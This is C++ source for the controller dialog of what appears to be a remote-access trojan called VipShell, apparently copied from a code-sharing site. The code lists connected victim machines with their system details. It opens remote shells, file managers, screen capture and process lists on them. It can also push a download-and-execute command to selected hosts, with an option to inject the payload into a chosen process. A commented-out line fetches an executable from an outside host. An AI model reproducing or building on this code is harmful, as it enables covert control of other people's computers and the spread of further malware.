📄 vipshellclientdlg.cpp
字号:
// spVipShellServerConnectHandle->DowndFile("http://g.ignfile.cn/t.exe", MAKELONG(0,1));
// m_listServer.SetItemText(nRet, LIST_HEAD_Area, m_QQwry.IP2Add(hServer->m_strAddr.c_str()));
// m_listServer.SetItemText(nRet, LIST_HEAD_Career, _GetMakeCareerString(hServer->m_dwCareer));
}
*/
CString CVipShellClientDlg::IpToString(ULONG ip)
{
CString str ;
in_addr addr;
addr.S_un.S_addr = ntohl(ip);
str = inet_ntoa(addr);
return str;
}
void CVipShellClientDlg::OnVipShellClientFileManageHandle(I_VipShellClientFileManageHandle* p)
{
DWORD dwId = m_hVipShellClientFileManageHandle.AddItem(p);
PostMessage(WM_VIPSHELLCLIENTFILEMANAGEHANDLE, dwId, 0);
}
LRESULT CVipShellClientDlg::OnVipShellClientFileManageHandleMessage(WPARAM wParam, LPARAM lParam)
{
DWORD dwId = wParam;
CPinboardPtr<I_VipShellClientFileManageHandle> spVipShellClientFileManageHandle = m_hVipShellClientFileManageHandle.GetItem(dwId);
CFileManageDlg* pDlg = new CFileManageDlg;
pDlg->SetVipShellClientFileManageHandle(spVipShellClientFileManageHandle);
pDlg->Create(IDD_DIALOG_FILEMANAGE, GetDesktopWindow());
pDlg->ShowWindow(SW_SHOW);
m_hVipShellClientFileManageHandle.DelItem(dwId);
return 0;
}
void CVipShellClientDlg::OnVipShellClientShellHandle(I_VipShellClientShellHandle* p)
{
DWORD dwId = m_hVipShellClientShellHandleManage.AddItem(p);
PostMessage(WM_VIPSHELLSHELLHANDLE, dwId, 0);
}
LRESULT CVipShellClientDlg::OnVipShellShellHandleMessage(WPARAM wParam, LPARAM lParam)
{
DWORD dwId = wParam;
CPinboardPtr<I_VipShellClientShellHandle> spVipShellClientShellHandle = m_hVipShellClientShellHandleManage.GetItem(dwId);
CShellDlg* pDlg = new CShellDlg;
pDlg->SetVipShellClientShellHandle(spVipShellClientShellHandle);
pDlg->Create(IDD_DIALOG_SHELL, GetDesktopWindow());
pDlg->ShowWindow(SW_SHOW);
m_hVipShellClientShellHandleManage.DelItem(dwId);
/*
UINT32 nCount = m_hVipShellClientShellHandleManage.GetCount();
for( UINT32 i = 0 ;i < nCount; i++)
{
CPinboardPtr<I_VipShellClientShellHandle> spVipShellClientShellHandle = m_hVipShellClientShellHandleManage.GetItemByIndex(i);
CShellDlg* pDlg = new CShellDlg;
pDlg->SetVipShellClientShellHandle(spVipShellClientShellHandle);
pDlg->Create(IDD_DIALOG_SHELL, GetDesktopWindow());
pDlg->ShowWindow(SW_SHOW);
}
m_hVipShellClientShellHandleManage.Clear();
*/
return 0;
}
void CVipShellClientDlg::OnVipShellHandle(I_VipShellClientHandle* p)
{
CPinboardPtr<I_VipShellClientHandle> spVipShellClientHandle = p;
DWORD dwId = m_hVipShellClientHandleManage.AddItem(spVipShellClientHandle);
PostMessage(WM_VIPSHELLCLIENTHANDLE, dwId, 0);
/*
m_listServer.SetItemText(nRet, LIST_HEAD_Explain, strExplain);
m_listServer.SetItemText(nRet, LIST_HEAD_Sysver, strVer);
m_listServer.SetItemText(nRet, LIST_HEAD_Memory, _GetMemoryString(info.dwMemory));
m_listServer.SetItemText(nRet, LIST_HEAD_Cpu, _GetCpuString(info.dwCpuSpeed));
*/
}
LRESULT CVipShellClientDlg::OnVipShellClientHandleMessage(WPARAM wParam, LPARAM lParam)
{
DWORD dwId = wParam;
CPinboardPtr<I_VipShellClientHandle> spVipShellClientHandle = m_hVipShellClientHandleManage.GetItem(dwId);
ULONG ip = 0;
DWORD dwPort;
dwPort = spVipShellClientHandle->GetPeer(&ip);
CString strS; strS.Format(L"%s:%d", IpToString(ip), dwPort);
int nCount = m_listServer.GetItemCount();
int nRet = m_listServer.InsertItem(nCount, strS, 0);
spVipShellClientHandle->SetCustomContext((LPVOID)nRet);
m_listServer.SetItemData(nRet, dwId);
spVipShellClientHandle->SetVipShellHandleEvent(this);
spVipShellClientHandle->GetServerInfo();
return 0;
}
LRESULT CVipShellClientDlg::OnVipShellClientScreenHandleMessage(WPARAM wParam, LPARAM lParam)
{
DWORD dwId = wParam;
CPinboardPtr<I_VipShellClientScreenHandle> spVipShellClientScreenHandle = m_hVipShellClientScreenHandleManageHandle.GetItem(dwId);
CScreenInfoDlg* pDlg = new CScreenInfoDlg;
pDlg->SetVipShellClientScreenHandle(spVipShellClientScreenHandle);
pDlg->Create(IDD_DIALOG_SCREEN, GetDesktopWindow());
pDlg->ShowWindow(SW_SHOW);
m_hVipShellClientScreenHandleManageHandle.DelItem(dwId);
return 0;
}
void CVipShellClientDlg::OnVipShellClientScreenHandle(I_VipShellClientScreenHandle* p)
{
CPinboardPtr<I_VipShellClientScreenHandle> spVipShellClientScreenHandle = p;
DWORD dwId = m_hVipShellClientScreenHandleManageHandle.AddItem(spVipShellClientScreenHandle);
PostMessage(WM_VIPSHELLCLIENTSCREENHANDLE, dwId, 0);
}
void CVipShellClientDlg::OnMenuitemDownfile()
{
// TODO: Add your command handler code here
SELITEMINDEXS vec;
_GetSelItems(&vec);
if( vec.size() == 0 )
return ;
CDownFileDlg dlg;
if( dlg.DoModal() == IDOK )
{
for(UINT32 i = 0; i < vec.size(); i ++)
{
CPinboardPtr<I_VipShellClientHandle> spVipShellClientHandle = _ItemToVipShellHandle(vec[i]);
spVipShellClientHandle->CmdDownFile(dlg.m_strUrl, !!dlg.m_fRun, !!dlg.m_fInject, dlg.m_strProcessName);
}
}
}
void CVipShellClientDlg::OnResponse_GetServerInfo(I_VipShellClientHandle* p,LPCWSTR szExplain, LPCWSTR szName, DWORD dwPlatformId, DWORD dwMajorVersion, DWORD dwMinorVersion,DWORD dwCpuSpeed, DWORD dwMemory, bool fIsCanCap)
{
CMySingleLock lock(&m_Locker);
CPinboardPtr<I_VipShellClientHandle> spVipShellClientHandle = p;
int nItem = (int)spVipShellClientHandle->GetCustomContext();
CString strExplain; strExplain.Format(_T("%s@%s"), szExplain, szName);
CString strVer = _GetServerEditionString(dwMajorVersion, dwMinorVersion, dwPlatformId);
m_listServer.SetItemText(nItem, LIST_HEAD_Explain, strExplain);
m_listServer.SetItemText(nItem, LIST_HEAD_Sysver, strVer);
m_listServer.SetItemText(nItem, LIST_HEAD_Memory, _GetMemoryString(dwMemory));
m_listServer.SetItemText(nItem, LIST_HEAD_Cpu, _GetCpuString(dwCpuSpeed));
}
I_VipShellClientHandle* CVipShellClientDlg::_ItemToVipShellHandle(UINT32 nItem)
{
UINT32 nIndex = m_listServer.GetItemData(nItem);
return m_hVipShellClientHandleManage.GetItem(nIndex);
}
I_VipShellClientHandle* CVipShellClientDlg::GetVipShellClientHandleById(UINT32 nId)
{
return m_hVipShellClientHandleManage.GetItem(nId);
}
void CVipShellClientDlg::_GetSelItems(SELITEMINDEXS* pVec)
{
POSITION posti = m_listServer.GetFirstSelectedItemPosition();
if(posti == NULL)
return ;
while (posti)
{
UINT32 nItem = m_listServer.GetNextSelectedItem(posti);
pVec->push_back(nItem);
}
}
void CVipShellClientDlg::OnNMRclickListServer(NMHDR *pNMHDR, LRESULT *pResult)
{
// TODO: 在此添加控件通知处理程序代码
*pResult = 0;
CMenu menu;
if (menu.LoadMenu(IDR_MENU_MANAGE))
{
CMenu* pSubMenu = menu.GetSubMenu(0);
if (pSubMenu)
{
CPoint mouse;
GetCursorPos(&mouse);
// ::SetForegroundWindow(m_nid.hWnd);
::TrackPopupMenu(pSubMenu->m_hMenu, 0, mouse.x, mouse.y, 0,m_hWnd, NULL);
}
}
}
void CVipShellClientDlg::OnBnClickedButtonGetshell()
{
// TODO: 在此添加控件通知处理程序代码
SELITEMINDEXS vec;
_GetSelItems(&vec);
for(UINT32 i = 0; i < vec.size(); i ++)
{
CPinboardPtr<I_VipShellClientHandle> spVipShellClientHandle = _ItemToVipShellHandle(vec[i]);
spVipShellClientHandle->GetShell(0);
}
}
void CVipShellClientDlg::OnButtonGetfilemanag()
{
// TODO: Add your control notification handler code here
SELITEMINDEXS vec;
_GetSelItems(&vec);
for(UINT32 i = 0; i < vec.size(); i ++)
{
CPinboardPtr<I_VipShellClientHandle> spVipShellClientHandle = _ItemToVipShellHandle(vec[i]);
spVipShellClientHandle->GetFileManage();
}
}
void CVipShellClientDlg::OnTimer(UINT nIDEvent)
{
// TODO: Add your message handler code here and/or call default
if( nIDEvent == TIMER_CHECKSERVERCOUNT )
{
CString strText;
strText.Format(L"连接数:%d :%d", m_listServer.GetItemCount(), m_hVipShellClientHandleManage.GetCount());
SetDlgItemText(IDC_EDIT_STATE, strText);
}
CDialog::OnTimer(nIDEvent);
}
void CVipShellClientDlg::OnButtonGetscreen()
{
// TODO: Add your control notification handler code here
SELITEMINDEXS vec;
_GetSelItems(&vec);
for(UINT32 i = 0; i < vec.size(); i ++)
{
UINT32 nIndex = m_listServer.GetItemData(vec[i]);
CPinboardPtr<I_VipShellClientHandle> spVipShellClientHandle = _ItemToVipShellHandle(vec[i]);
spVipShellClientHandle->GetScreenInfo(nIndex);
}
}
void CVipShellClientDlg::OnButtonGetcap()
{
// TODO: Add your control notification handler code here
CCopyFileDlg dlg;
dlg.DoModal();
}
void CVipShellClientDlg::OnButtonProcesslist()
{
// TODO: Add your control notification handler code here
SELITEMINDEXS vec;
_GetSelItems(&vec);
if( vec.size() == 0 )
return ;
CPinboardPtr<I_VipShellClientHandle> spVipShellClientHandle = _ItemToVipShellHandle(vec[0]);
CProcessManageDlg dlg;
dlg.SetVipShellClientHandle(spVipShellClientHandle);
dlg.DoModal();
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -